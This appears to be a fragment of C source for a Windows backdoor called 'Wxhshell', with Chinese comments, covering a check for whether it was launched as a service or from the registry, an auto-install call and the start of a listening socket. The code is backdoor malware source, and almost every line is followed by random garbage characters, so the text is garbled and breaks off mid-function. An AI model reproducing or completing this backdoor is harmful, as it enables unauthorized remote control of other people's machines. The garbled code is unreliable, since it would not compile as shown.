PROCNTQSIP NtQueryInformationProcess; *7I=vro
s"|N-A=cS
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !Jj=H()}
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YtrMJ"
VRoeq {
HANDLE hProcess; G#! j`
PROCESS_BASIC_INFORMATION pbi; (Rk g
w`Dzk.2
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EF{_-FXY
if(NULL == hInst ) return 0; &~Q ?k
JPk3T.qp
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C6eo n4Ut
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LV 94i
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [J+K4o8L<A
"t"=9:_t
if (!NtQueryInformationProcess) return 0; <u"#Jw/VP
pz^"~0o5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mHox
if(!hProcess) return 0; D] 2+<;>`>
0nz
k?iP
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8L 9;VY^Y
o=_4v^
CloseHandle(hProcess); <..%@]+
f|FQd3o)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _wf"E(c3D
if(hProcess==NULL) return 0; 9bXU!l[
}~-)31e'`
HMODULE hMod; ^ :Q |,oy
char procName[255]; '
n~N*DH
unsigned long cbNeeded; h3xX26l
4#=!VK8ZH
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t Q_}o[
M42D5|tZc
CloseHandle(hProcess); ~eL7=G@{
^LT9t2
if(strstr(procName,"services")) return 1; // 以服务启动 +.HQ+`8z]
m=fmf(
return 0; // 注册表启动 jt2m-*aP
} mcDW&jwQ
:"O=/p+*Us
// 主模块 $YaL3n
int StartWxhshell(LPSTR lpCmdLine) 4DfTVO"h
{ &H5
6mL{
SOCKET wsl; bTHa;* `
BOOL val=TRUE; j&m<=-q
int port=0; xyz-T1ib
struct sockaddr_in door; 5
|C;]pq
n]coqJ
if(wscfg.ws_autoins) Install(); %_SE$>v^
?-\K Vha
port=atoi(lpCmdLine); 8N-~ .p
o<P%|>qX
if(port<=0) port=wscfg.ws_port; L +. K}w
G68N@g
WSADATA data; h/(9AO}t
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AD?^.<
dGh<R|U3
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5'V'~Q%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r?/>t1Z
door.sin_family = AF_INET; HNjkRl)QR
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2 >xV&